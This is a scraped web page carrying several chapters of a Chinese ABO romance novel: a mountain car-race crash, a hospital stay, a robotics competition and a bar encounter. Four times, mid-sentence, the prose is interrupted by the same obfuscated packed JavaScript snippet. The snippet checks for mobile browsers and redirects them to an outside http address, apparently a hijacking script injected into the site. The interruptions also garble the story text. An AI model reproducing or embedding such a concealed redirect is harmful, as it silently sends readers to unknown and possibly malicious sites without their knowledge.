;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073212|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要越过这个陡坡。 千述啧了一声,或许是这雨声太密太急,像是在敲击着千述的心脏,千述面上有些烦躁。 她准备下撤,她可不想就这样把命丢在这山里。千述长按了一声喇叭,跟前方车辆示意,便准备转弯撤退。 突然—— 红色的车辆不知是车辆失控还是因为别的原因,突然撞击在一侧的石壁上。因为巨大的冲击力,车辆腾空翻起,然后快速的往下翻滚。 它一次次重重的撞击在地面,发出难听刺耳的声音。金属的框架与地面发生剧烈摩擦,零件散落一地。 雨还在下,有越下越大的趋势,好像永远不会停一样。 车辆在翻滚中变形,前面的挡风玻璃彻底碎裂,雨水毫不留情的灌入驾驶舱。 千述正准备调转车头,下一秒就听见猛烈的撞击声,千述急忙抬眼看过去,瞳孔瞬间震动。 只见那辆红色的车辆在沿着陡坡翻滚而下,而他翻滚的轨迹越发的偏,马上就要坠落山崖。如果不能立刻制止车辆的连续翻滚,陆恪一定会连人带车跌落山崖。 千述几乎没有任何的犹豫,她握紧手中的方向盘,猛踩油门,黑色的车辆犹如离弦之箭一般,迅速刺穿雨幕,向前飞驰。 其实,千述算不上善良的人。她会这样义无反顾的冲上去,只是单纯没办法接受陆恪身死给她带来的麻烦。 因为重力的原因,车辆向下翻滚的速度越发的快,已经完全失控。千述踩着油门,迎着风雨冲了上去。 她几乎连眼睛都没有眨动,也看不出任何的害怕。只是死死的握着方向盘。 “砰——”一声巨响,红色和黑色猛烈的碰撞在一起,仿佛半空炸响一声惊雷,刺的千述的耳膜生疼。 千述的车头已经完全的瘪了下去,巨大的冲击力,使得千述的车微微弹起,又重重落下。前面的挡风玻璃已经碎了,蛛网一般分布。 车内的安全气囊迅速弹出,千述眼前白光闪烁,耳膜嗡嗡作响。 不开玩笑,差点去见天上祖宗了。 红色和黑色的车撞在一起,红色的超跑突兀的停在路中间,千述的车也撞在了石壁上。再大的雨,也没办法将车辆撞击产生的热气浇灭。 空气陷入凝滞,除了瓢泼大雨,再没有别的声响。 千述缓了很久,才勉强可以动。她用力推开车门,雨水瞬间将她整个人打湿。千述快步走向陆恪的车窗。车窗已经完全碎了,大雨将车内的一切打湿。 陆恪闭着眼靠在驾驶座上,红色的头发湿淋淋的贴着脸,鲜血混着雨水顺着他的下巴往下滴落。脸色苍白,嘴唇没有任何血色。 像摄人心魄的精怪。 陆恪的情况十分糟糕。 “陆恪。”千述拉开车门,上半身探了进去。 她摸索着寻找安全扣,因为看不清,手指从尖锐的玻璃上擦过,鲜血瞬间冒了出来。千述连眉头都不曾皱一下。 千述解开他的安全扣,她抬手将陆恪面上的头发拨开。又将手指放在他的鼻翼下感受气息,还有呼吸。 千述拍了拍陆恪的肩膀,问道:“陆恪,你现在能听见我说话吗?” 陆恪很慢很慢的抬眼,眼皮仿佛有千钧重。他眼前都是重影,看不清晰面容,只有那双黝黑的眼眸刻在了脑海。 好累。 纤长的睫毛又缓缓闭上,陆恪彻底陷入昏迷。 严重的车祸已经触发了车内的传感器,紧急救援的电话第一时间在车内响起。 “您好,这里是紧急救援中心,接收到您的车辆发生碰撞信号,请问是否安全?”温柔的客服女声在车内响起。 “您好,请问是否安全?”客服又重复的问道。 “我们需要救护车。”千述冷静回答。 8. 第 8 章 头很痛,整个身体就好像散架一般,动一下都困难至极。 陆恪很慢的睁开眼睛,头顶是白色的天花板,屋里很静,耳边只有心电监护仪运作的声音。 陆恪已经有些不记得后面发生的事情了,只能回忆起当时的雨太大,暴风雨几乎把整座山吞噬。 轮胎打滑,车子不受控的撞向了石壁,然后便是天昏地暗的翻滚,耳边是玻璃破碎的声响。 最后只剩下那双漆黑的双眼,像是在雾里,若隐若现。 “陆哥,你终于醒了!!” 方知明在一旁戴着耳机打游戏,游戏间隙的时候抬眼看了下,就看到陆恪睁着双眼。方知明急忙把手机放下,按响了床头的呼叫铃。 随后凑到陆恪面前,放低声音,轻声问道:“陆哥,你现在感觉怎么样?你已经昏迷三天了,知道你出车祸我都吓死了。” “当时现场太惨烈了,我跟着救护车一起上来的时候,差点没跟你一起晕过去。还好你没事陆哥,下次真不要搞这么危险了。” “陆哥,你还好吗?你怎么不说话?”方知明一直在陆恪耳边絮絮叨叨的说着。 他这几天有时间就会来看看陆恪,人又一直昏迷着,所以方知明找不到人说话,实在憋得慌。 陆恪很烦。 他现在根本没力气讲话,也不想说话,他直接将眼睛闭上。 见陆恪沉默不言,方知明觉得天塌了。完蛋,这不会是撞着脑袋了吧。 “陆哥你别睡,你还记得我是谁吗?”看到陆恪将眼睛合上,方知明着急了,直接把人摇醒。然后他又比了个数字,问道:“陆哥,你说这是几?” 陆恪不耐烦的睁眼,想发脾气。但是看着方知明那急得不行的傻子样,陆恪又没说什么,只是合上双眼。 算了,眼不见为净。 医生护士很快就来了,方知明看到他们宛如看到救星。他忙起身,给医生让位置:“医生,他醒了之后连话都不会说了,还是检查检查他的脑子吧。” 陆恪真的很想翻白眼,又实在是没力气。 陆恪住的是高级病房,配套设施完善,一应俱全。医护人员都知道这位病人身份不简单,是陆氏集团的公子。 所以一个个如临大敌,给陆恪做了很多检查,怕他出什么问题。最后检查得出来的结果是,身体没有大碍,就是有些脑震荡,需要静养几天。 陆恪不想躺着,方知明就把床升了起来,让陆恪靠着。 病房很安静,除了方知明还有两个陪护,陌生人。陆恪扫了一眼四周,再没有别人,他说不清楚自己在找什么。 知道陆恪没事以后,方知明终于放下心来,他坐在沙发上,又开了一局游戏。 他突然想到什么,拍了拍脑袋,道:“叔叔阿姨前两天来看过你,那会儿你没醒,他们工作忙就离开了。说等你醒了让陪护联系他们。” 陆恪垂着眼眸没说话,也没什么表情。他现在面容依旧苍白,没有血色。手上还挂着点滴,输着营养液。 连那头张扬的红发,都失了些颜色。 整个人就透着一股莫名的,可怜兮兮的委屈劲儿。 “陆哥,这次你受伤……叔叔阿姨他们也吓坏了,很担心你。”方知明看了看陆恪的脸色,嗫嚅道。 陆恪嘲讽一笑,嘴角勉强扯了扯:“是吗?没看出来。” 只来看一眼,然后请两个陪护,就再也不过问。这算是担心吗? 看着陆恪的心情肉眼可见的变差,方知明也识趣的闭上嘴。毕竟别人的家务事,不是他能插手的。 …… 陆恪住院这几天,除了方知明来探望过,那天飙车的其他几个朋友也来了。 他们当时的速度比陆恪和千述慢一些,在两人的后面。后面雨太大了,听见山里传来巨大的声响,几个人心想。 完了,出事儿了。 几个人开着车就往上面冲。 能和陆恪玩在一起,家里人都是喜闻乐见的,毕竟只要和陆家沾点光,对家里的生意有很大的好处。但若是陆恪和他们在一起出了事,那后果很难想象。 “那天多亏了有那个女beta,她把你从车里拖了出来。没过多久你那辆车就自燃了,就差那么一点。” 有人回忆起那天,还是觉得心头狂跳。 他们紧赶慢赶,上去的时候,现场一片狼藉。陆恪那辆车在路中间燃了起来,熊熊火焰连雨都浇不灭,几个人心瞬间就凉了。 他们以为陆恪还在车里,想着这次估计全玩完。 “后来还是陈立靖去看了下另一辆车,才发现那个女beta把你转移到她那辆车的后座去了。” “她那辆车情况好很多,就前面车头坏了,后座还能避雨。” “陆哥,这次实在是太惊险了。” 这几个公子哥都被吓到了,喜欢飙车是一回事,真死人了又是另一回事。 他们几个你一句我一句,就让陆恪脑海中拼凑出当时那个危险的画面。陆恪靠在床头,听他们讲着当天的事情。垂着眼睫,投下一片淡淡的阴影。 自那天以后,陆恪和千述再没见过,千述也没有来医院看望过。那天情况紧急,方知明被陆恪吓得够呛,完全没有注意到别人。 也不太确定千述有没有受伤,但是依稀记得那天千述没有上救护车,应该是跟她的室友们一起走了吧。 这次比赛没有输赢,两人的赌约自然也不作数了。 在座的几位公子哥都知道,这位女beta在追求陆恪。 虽说beta不比omega与alpha的适配度高,但毕竟不是结婚需要永久标记的关系,那和beta谈个恋爱玩一玩好像也可以。 “陆哥,我看那个女beta真挺喜欢你的,你给人家一个机会,就玩一玩也没什么。”有人的眼睛滴溜溜一转,嘴角就挂上暧昧的笑。 陆恪虽然和他们在一起玩,但是他几乎没有那些男女之间的坏习惯。倒不是因为陆恪秉性有多好,纯粹是因为他嫌弃,觉得恶心。 有时候他们那一群人都挺费解的。陆恪表面上不学无术,叛逆乖张。天天打架飙车,流连夜店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073213|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但其实真说那些秽乱,碰到底线的事情,他是一点都不碰的。 他这个身份地位的人,想带他学坏的人很多,但陆恪从来都是清醒的。 “就是啊,玩一玩也不用结婚,玩腻了就给点钱分手呗,她高兴还来不及。”见陆恪面上没有不喜的表情,一些人也开始附和着。 他们喋喋不休的说,之前没人把那个女beta放在眼里。只是这次,大家对千述确实有很大的改观。 陆恪的眼神淡淡的瞥向这几人,凉幽幽的,没什么感情。 陆恪不说话冷着一张脸的时候,就会格外吓人。身为alpha,他的信息素等级极高,有很强的压迫性。那些低等级alpha在他身边,会不由自主的心生恐惧。 那群人瞬间发现自己说错了话,空气有些凝滞。 旁边的同伴帮忙解围,笑道:“陆哥是什么人,哪里看得上那个女beta,你真是狗嘴里吐不出象牙来。” 有人也忙接话,面上讪讪一笑,道;“也对也对,是我肤浅了。这beta又怎么配得上我们陆哥。陆哥肯定是找个和陆氏门当户对的omega结婚。” “而且,这女beta对陆哥也未必见得是真心的,小心骗子。”有人临时转变风向,开始说千述的不好。 听到这话有人心里不落忍,替千述叫冤:“这还不叫真心?你说话也太没有良心了。” 那人有理有据的反驳:“若她真是喜欢陆哥,怎么这几天从不来探望。她人又没受伤,不存在无法活动的情况。” “由此可见,这人根本不如表面上那般喜欢陆哥。”这人斩钉截铁下了论断。 这番话听得兄弟们一愣一愣的,仔细一想还真对啊! 陆恪住院这几天,千述就是从没来看过。 这是追求者该有的态度吗? 陆恪在一旁,拿着手机漫不经心的翻着,也不知道有没有在听他们说话。 几人又说了些恭维陆恪的话,只不过陆恪兴趣不高,大家也只能在旁边陪着笑脸。最后实在觉得难熬,几人找了个借口溜了。 病房里瞬间恢复了安静,只剩下两个陪护,在旁边当隐形人,尽量降低自己的存在感。 除了这些狐朋狗友,从陆恪身上有利可图的人,才会来看望巴结他。其他的,要说真正关心他的人,还真是说不出来几个。 “你们都出去。”陆恪看着窗外,轻声道。 有一个人有些犹豫,想要拒绝,害怕他一人在病房里出事。另一个人拉住他的手,随后回复道:“好的,我们就在外面,您有什么事,大声叫我们就行。” 二人出了病房,门被轻轻关上。屋内只剩下了陆恪一人,他穿着病号服靠在床头。 窗外已近黄昏,夕阳慢慢探进病房,惨白的墙壁上被染上一抹昏黄,地上留下长长的影子。 陆恪就这样沉默的看着,窗外的夕阳渐渐沉下去。他没开灯,于是整个身影慢慢陷入黑暗之中,四周安静得能够听见自己呼吸的声音。 良久,陆恪低低的笑了一声,笑声中夹杂讽意。 9. 第 9 章 “那你们这场比赛,还分输赢吗?”谢宁问道。 寝室里又开始了夜谈会。距离那次的比赛已经过了两天,谢宁她们才从那天的车祸中抽离出来。 那天下午,雨大得让人心里发慌。在山脚下的几个人,心里惴惴不安,尤其是罗玉兰,都想给千述打电话,让她赶快下来了。 但是又怕给千述打电话,让她开车分了心,那就更是危险了。 戏剧化的是,他们不但没等到从山里下来的车,反而是听见救护车的警报声由远及近,在场的几个人都懵了。 “谁叫的救护车?罗玉兰你叫的吗?”谢宁看着救护车,愣愣的问道。 罗玉兰同样懵逼:“我没叫救护车。” 只有向曼青在看到救护车的第一时间,脸色就变了:“是他们叫的,肯定是山里面有人出事了!” 谢宁和罗玉兰瞬间反应过来,她们给千述打电话,但是响了很久都没人接,众人的心开始沉了下去。 意外的出现总是令人猝不及防。 比较幸运的是,千述没有受伤。 “都没人跑到终点,怎么分得清输赢。”罗玉兰的声音,从床帘里传出来。 “再说了,这次如果不是千述,陆恪是生是死都不知道,他应该亲自来给千述道谢才是。”罗玉兰又道,语气不太好。 说实话罗玉兰因为这场车祸对陆恪的观感很不好,觉得千述和他在一起就没遇到过好事。但是因为千述喜欢,所以罗玉兰不好当着千述的面说他什么。 “千述,你真的喜欢陆恪吗?”夜里,向曼青的声音格外清晰。 因为向曼青这句话,寝室里一下子静了下来,大家都在等着千述的回答。 千述的床帘里点着小夜灯,她看着手中的照片,一家三口的照片。良久,才低声道:“喜欢的。” “我喜欢他。” ...... 千述后面很长一段时间都非常忙碌,她和向曼青很早就参加了一个全国性的科创比赛,她们俩在一个小组,从他们参加到现在已经筹备了快一年时间。 眼见着临近比赛,时间越发紧张,每天都忙得脚不沾地。 很多事情都被千述抛之脑后,包括陆恪。 在A大,优秀的人很多,努力的人更多。当你过五关斩六将,费尽艰辛来到这里的时候,才发现原来天下英雄如过江之鲫。而你,不过是其中的沧海一粟。 在校内经过层层选拔,千述那个小组才得到了代表学校出赛的机会。 他们小组有七个人,除了千述和向曼青是来自信电学院,其他五位分别来自机械自动化、工业设计,以及人工智能专业。 他们几个人经常在实验室,有时候忙得晚,通宵睡在实验室里都是有的。当几个人都在为同样一个目标奋斗,这个时候不会觉得累,反而是干劲满满。 实验室,教室,寝室三点一线的生活过了快一个月。在此期间,千述根本没时间去考虑别的事情。 今天周六,学校不上课,但是千述和向曼青还是一大早就去了实验室,她们要去调试最后一组参数。 这个科创比赛的含金量很高,无论是考研还是工作都很加分。而且这个比赛奖金丰厚,全国各地的高校学生纷纷报名参加。 因此想要在比赛获得奖项,并不是一件容易的事情,哪怕是A大的学生。 实验室里,七个人都在。千述坐在电脑面前敲着代码,她素颜戴着黑框眼镜,苍白的脸上挂着黑眼圈。 到了中午,其他几个人手中的事情告一段落,唯有千述还有另一个beta男生还在收尾。 “千述,宋郁凌,我们先走了,你们加油!”其他人走的时候,跟他俩打了个招呼。 “好。”千述和宋郁凌齐声回答。 随着脚步声的远离,实验室里变得安静下来,只剩下键盘和鼠标的敲击声。 中午的阳光热烈明媚,落在实验室里,整个实验室都变得亮堂起来。但有时候阳光又会让人烦恼,比如现在千述就因为看不清屏幕而眯着眼睛。 窗帘拉动的声音,千述的眼前变得暗了下来,不再被阳光晃到眼睛。千述抬头扶了扶眼镜,道:“谢谢。” “没事,我也觉得晃眼。”宋郁凌坐回了自己的位置。 宋郁凌坐在电脑面前,安静了半响,又开始处理手上的事情。快下午一点的时候,两人终于弄完,千述关了电脑,收拾东西。 两个人一起从实验大楼里出来。千述和宋郁凌都是beta,气质也格外的像。宋郁凌就是典型的理工男的样子,不善言辞,没什么存在感。 他们两人走在学校的林荫大道。现在的天气开始越来越热,有些体热的人已经穿上了短袖。因为是一大早从寝室出来的,有些凉,千述穿了一件薄薄的针织开衫。 “千述,你去食堂吗?”宋郁凌转头看向千述,语气听着很平静。 现在已经过了饭点,但是俩人都还没吃午饭,所以宋郁凌问了声。 千述没有和人共进午餐的兴趣,准备拒绝。然后又想到谢宁刚刚给她发消息,让她从食堂回来的时候,给她带份水果捞。 两人顺路,千述就点头答应。 从实验大楼到A大的食堂,需要走过一条林荫大道。下课的时候,能看到很多学生骑着自行车或者小电驴路过,生机勃勃。 A大的校园,林荫大道,旁边两旁种植的是梧桐树,高大挺拔,枝叶交织。这些梧桐树的年岁很长,有些甚至比A大的建校时间还要长。 路上绿荫浓密,郁郁葱葱,就像一条绿色的绸带,蜿蜒在A大的校园里。 因为现在已经过了饭点,所以这边的学生少了些。 一路上都是宋郁凌在说,千述沉默不语。唯有聊实验的一些细节时,千述稍稍提起了些微的兴趣。 阳光透过树叶的缝隙,时不时落在两人身上,从背后看着,竟然十分登对。 背后传来一声短促的鸣笛,打破了林荫大道静谧平和的氛围,很嚣张。 千述和宋郁凌的谈话被打断,千述转头看了过去。 一辆跑车缓缓停在二人面前,车窗落了下来,看到的是一头张扬的红发,随后是高挺鼻梁上架着的墨镜。 陆恪将墨镜取下来,随意的架在头发上。露出墨镜下的一双凤眼,平滑上翘,似笑非笑的看着千述。 自从那次碧云山的车祸以后,两个人再也没见过。 主要是千述太忙,实在抽不出时间在陆恪身边刷存在感。再加上那次的车祸,让千述产生了些莫名其妙的心累。 她觉得陆恪这个人真的是太难追了,而且十分麻烦。 在两人的关系中,千述是主动一方,主动的表达喜欢,主动的做出追求。陆恪几乎没有任何的表示,他根本不接受千述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073214|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的任何讨好。 这就说明,如果千述选择不再主动,那么这段关系就会宣告结束。 这是一段非常薄弱的关系。 陆恪坐在车内,他定定的看了千述几秒,又瞥了眼千述身旁的宋郁凌,薄唇微启,语气有些淡:“他是你新的追求目标?” 陆恪上下打量了一眼宋郁凌,穿着格子衬衫,背着个书包,戴着黑框眼镜,又呆又蠢。 “看着也不怎么样,你现在眼光变得这么差?”陆恪的语气漫不经心,带着他与生俱来的傲慢和轻视。 陆恪说话就很刻薄,很得罪人。 宋郁凌懵。他没听错吧,面前这个家伙这是在骂他吧?! “你什么意思!”宋郁凌生气,捏着拳头,要上去跟陆恪对峙。 现在这个年纪,大家都很年轻,意气风发的,骨子里带着血性。听到陆恪这冷嘲热讽的话,宋郁凌肯定是不爽的。 陆恪嘴角勾着淡淡的笑,眼中的光芒愈发肆意,带着挑衅:“你想的是什么意思,我就是什么意思。” “你!”宋郁凌气急。 陆恪这目中无人的样子,真的让宋郁凌一肚子火起。他真是忍不了,怒气冲冲上前。这人神经病吧,惹他了吗,上来就骂人?! 眼看着两人要打起来。千述一把抓住宋郁凌的手腕,把他拉着往身后扯。 “你先去吃饭,这里我来处理。”千述和宋郁凌解释。 要真宋郁凌和陆恪打起来,宋郁凌那身板还不一定打得赢。 陆恪看着两人牵在一起的手,眼底闪过一丝意味不明,只是面上的笑意不变。 看着宋郁凌不忿离开的身影,千述才转过头来,看向车内的陆恪。 今天陆恪的左耳上带着枚耳钉,在阳光下闪着细碎的光芒,叛逆肆意。哪怕看过这张脸很多次,千述还是会感叹这张脸的伟大。 “我没有在追求他,他只是一起比赛的成员。”千述看向陆恪,直白的解释。 陆恪抱着双臂,下巴微微扬起,直勾勾的盯着千述。他冷哼一声:“你用不着跟我解释,与我无关。” 千述仿佛没察觉出来两个人之间僵硬的氛围一般,也没管陆恪的阴阳怪气,她情绪十分稳定。 “我这段时间太忙了,没时间来看你。”千述的眼眸黝黑,没有太多情绪。她仿佛例行公事般又问了一句,“你身上的伤好些了吗?” 千述仍旧记得陆恪那天脸上滴落的鲜血,苍白的脸和猩红的血,有种说不清的迤逦,视觉冲击强烈。 陆恪看着千述的眼眸,她千述很认真的看着一个人的时候,恍惚给人一种她眼中只有你的错觉。 陆恪简直想在心里发笑,这个女beta就是一个骗子。 她说她很忙,有多忙? 忙到连发个信息的时间也没有? 难道她手断了? 陆恪的面色突然就沉了下去,眼里也没有了笑意,薄唇紧抿成一条锋利的直线。 他变脸之快,比六月的天气还难以预料。 陆恪微微抬眸,语气冷漠:“我的伤好没好,跟你有什么关系。” “假惺惺。” 千述怔了一下。 没等千述回答,车窗径直升了起来,隔绝了两人的视线。陆恪踩上油门,跑车飞驰向前,只留下车尾气。 千述沉默,陆恪真的是个脾气很差的人。 10. 第10章 汇聚了来自全国各地高校的学生,这次的科创比赛规模很大。 举办地在A市的最大的体育场,除了有各高校的师生参加,还有很多企业的技术人员,行业协会的代表以及媒体记者也来到本次的比赛。 这次比赛是由教育部牵头,各大企业联合承办。其中陆氏集团为本次的比赛提供了最大的支持。现场熙熙攘攘,气氛热烈而紧张。场馆中央,巨大的电子屏幕上显示着各大高校的名字和校徽。 四周井然有序的排列着各大高校的展示区,每个展示区都被精心布置,面前围着厚厚的人墙,大家举着手机拍摄。 千述他们小队的这次的比赛作品是高自由度双腿轮足机器人,其优点是运动灵活性高,环境适应性强,任务执行能力多样。不少人都围绕着A大的展示区看他们的展示成果。 银色金属外壳的机器人,在斜坡,在低矮的空间,在松软的沙土,在分布错落有致的障碍物中,机器人都可以轻松穿越。 各高校的参赛作品在评委席的打分后,A大最后获得了比赛的金奖。 “尊敬的各位领导,各位来宾,亲爱的现场观众们,最激动人心的颁奖环节即将来临。” 领奖台上,主持人热情激昂的开始颁奖流程。 “很荣幸给大家介绍出席本次颁奖仪式的颁奖嘉宾,分别是来自陆氏集团有限公司董事长陆凌风、智远奇点有限公司首席执行官秦宇、元启科技有限公司董事长陈沛行。” “接下来,让我们以热烈的掌声有请本次比赛获奖的团队上场。” 主持人的声音落下,获奖的三个团队依次走上领奖台,现场响起阵阵热烈掌声。领奖台上灯光明亮,从四面八方汇聚而来,毫无保留的倾注在他们身上。 这些面庞年轻稚嫩,他们意气风发,眼神明亮而炽热,昂扬着向上的生命力。 作为金奖的队伍,千述团队七个人排成一列上台,站在了最中间的位置。 他们七人穿着统一定制的带有A大校徽的衣服,给他们颁奖的是本次比赛的承办方陆氏集团董事长。 陆凌风作为陆氏集团的董事长,正值不惑之年。陆氏集团作为A市的领头企业,根基之深,涉足领域之广,难以估摸。 这样庞大的商业帝国,盘根错节,当然不可能是陆凌风一手创立起来的。准确来说,陆凌风只是陆氏集团的接班人,而真正创立陆氏集团的是陆凌风的父亲,陆晟。 陆老爷子还在世的时候,陆凌风在海外拓展市场。陆老爷子去世以后,陆凌风才从国外回来,重心放在国内。 陆凌风很高,高大健壮。尽管他已经年过四十,但是身材依旧健硕,想来日常对身材管理方面十分严格。 他身姿挺拔,步伐矫健,有着岁月沉淀后的从容随和。陆凌风带着笑意,跟队伍里的每个人进行握手。又将身后礼仪端着奖杯递给中间的队长,是一位大四的学姐。 队伍里有人很激动,嘴都咧到了后脑勺。 平日里只能在新闻财经频道看到的企业家,今天竟然出现在大家的面前,还给他们颁奖,这是多大的荣幸。 台上放着激奋人心的音乐,大家都很开心,脸上洋溢着笑容。这一年的辛苦是有目共睹的,幸运的是,那些在实验日废寝忘食的日子都得到了最好的回答。 只要为一件事倾注了心血,它就流动着生命。 下了领奖台,团队里的好些成员都想去找陆凌风合照,毕竟陆凌风是商界大佬,本人也十分优秀。A大的学生会对其产生敬仰是一件再正常不过的事情。 千述也跟着去了。 台下的陆凌风很随和,他听着助理在耳边报告,目光向队伍这边望了过来。千述看到他点了点头,笑着和周围的人打了声招呼,便向这边走了过来。 “陆总您好,我们是A大的学生。因为对您十分敬仰,所以想找您合照一张,实在冒昧。”队伍里面早有人按捺不住,看到陆凌风走了过来,便主动的向他伸手问好。 陆凌风笑了笑,与他握手。 “我看了你们的比赛作品,无论是创新还是性能方面,都十分优越。不愧是A大的学生,这以后行业的发展,还得看你们这批人。”陆凌风语气随和,丝毫不吝啬夸奖和赞美。 老实说,陆凌风是一个很俊美的人,鼻梁高挺,凤眼微挑。尽管他现在年纪上来了,但是仍旧能从中窥见几分年轻时的风采。 陆恪和他眉眼简直如出一辙,只是陆恪的脸型更流畅一些,应该是随了母亲。 陆凌风拍了拍一个男生的肩膀,笑道:“你们都是A大的学生,我孩子也在A大读书,不过他可没有你们这般厉害。” “哪里哪里。”大家都谦虚的摇头。 其实大家都知道陆恪是陆氏集团的大少爷,也知道他在学校是个什么混样。不过大家都识趣的不在陆凌风面前提起这些。 台下的氛围很随和,大家想和陆凌风合照,他也微笑着答应。合照结束以后,陆凌风和众人聊了几句才离开。 经过这次的聊天,有成员对陆凌风更加崇拜:“要是我能进陆氏上班就好了。” “等你毕业,他们在学校有校招,你可以给他们投简历去实习。”大四的学姐已经在实习工作,所以对这方面懂得多一些,“不过陆氏的选拔十分严格,正式入职的员工,大多的学历要求都是硕士及以上。” “努力吧学弟学妹们!”学姐笑着和大家说。 ...... 这次比赛结束,大家准备好好的放松放松,于是众人一致决定去珈蓝雅舍聚餐。 珈蓝雅舍开在A大附近,听说投资开这家餐厅的老板也是A大毕业的。难得的实惠又好吃的餐厅,深受学生的喜欢,千述她们寝室有时候也会来这里聚餐。 七个人热热闹闹的,点了一桌子的菜。吃到中途又点了酒水,大家喝着喝着上头了,情绪高涨,就开始大吐苦水。 “我前段时间寝室都没时间回,恨不得天天睡在实验室里,人都憔悴了不少。” “就是说啊!天天调试程序,主机都给干冒烟了。” “你看看我这发际线是不是后移了,谁来还我茂密秀发!” “滚犊子!你本来就头发稀疏。” 这一段时间实在是给人累够呛,连千述和向曼青都瘦了好几斤。只不过大家都憋着一股劲儿,没人说这些,现在比赛结束了终于是忍不住了。 饭吃完,大家还不尽兴,要去酒吧蹦迪。千述和向曼青也喝了几杯,微醺状态。见大家高兴,她们也不扫人兴致,于是一群人又浩浩荡荡往cardie去。 到了夜晚,cardie这边就变得格外热闹,豪车云集,来来往往都是漂亮青春的脸蛋。 他们是七个人,订了个卡座。酒吧里DJ放的音乐很嗨,一走进去整个人的情绪都被调动。里面光线昏暗,灯光营造出迷离又暧昧的氛围。舞池里跳动的身影,在肆意挥洒着汗水。 千述跟在他们后面进了卡座。这次他们赢了比赛,有丰厚的奖金,学姐说这次聚餐的一切费用都从里面支出。 大家点了很多酒,说是要不醉不休,喝个痛快。但是光喝酒又无聊了,大家开始玩游戏,输的人就喝酒,这样玩儿,两个小时都不带累的。 喝到后面有人开始醉了,但是千述没太多的感觉,她酒量很好。向曼青喝嗨了,与学姐一起跑到舞池蹦迪。 千述被学长拉着,不让走。他明显是喝高了,拽着千述的外套就开始哭,一把鼻涕一把泪的。学长因为太忙被女朋友踹了,女朋友彻底变成前女友。 喝酒情绪上来,学长哇哇大哭,还拿千述的外套擦眼泪。千述完全没办法感同身受,她默默将自己的衣服扯出来,免得遭受蹂躏。 千述将学长推给旁边没醉的成员,抽身去卫生间一下。一路上男男女女在昏暗的灯光下吻在一起,上下其手。荷尔蒙的促使下,人类会释放最原始的欲望。 卫生间那边隔音还可以,舞池震耳欲聋的音乐声到了这边,变得安静了不少,千述透了口气。 不愧是cardie,连卫生间都装修得十分奢华。 洗手台有一面镜子,大且清晰。出来以后,千述洗了手,看着镜子里面的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073215|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。 因为今天要比赛,现场有很多人,千述还画了个淡妆,整个人看起来有点气色,不要太过苍白。再加上喝了酒,尽管她没醉,脸上还是因为酒精染上了粉。 整个人难得的看起来有些生命力的样子。 千述其实并不算一个很好接触的人,很多时候她安静的站在角落里,像是在阴暗处的青苔。 潮湿,阴郁。 …… “陆哥你真的别喝了,你这次喝太多了。到时候又要进医院。”方知明的声音在外面响起,苦口婆心的。 “滚!”陆恪一把掀开方知明搀扶的手,弯弯扭扭的往卫生间走。 方知明看他站都快站不稳了,又忙上前去扶着人。 陆恪今天就像疯了一样,打电话让一群兄弟出来。他也不说话,酒是不要命的往嘴里灌。包厢里喝醉了好几个,就方知明还有点理智。 “滚,不要跟着我。”陆恪脸色绯红,酒精的后劲让他没办法支撑自己的身体,但他又很抵触方知明的搀扶。 偏执。 方知明心里是有苦说不出,他又没办法真看着陆恪醉倒在这里。他只能退而求其次:“好好好,我不跟着你。陆哥,我在卫生间门口等你,你有事唤我一声。” 从镜子里看到一个高大的身影走向了男厕,随后就是里面传来撕心裂肺的呕吐的声音,仿佛要把心脏肺腑全都吐出来。 千述垂着眼睫,站在原地没说话。 良久,陆恪才从卫生间里出来。 他打开水龙头漱口,垂着头洗了把脸,整个人看起来都湿漉漉的。他的头发又换了颜色,这次染成了银灰色,看着清冷了些。 将胃里的酒精吐了出来,陆恪脑子清醒了些,他抬头才发现身边站了个人。 又是那个熟悉的女beta。 她真的阴魂不散。 “追人都追到这里来了,你还真是敬业。”陆恪漫不经心的说。 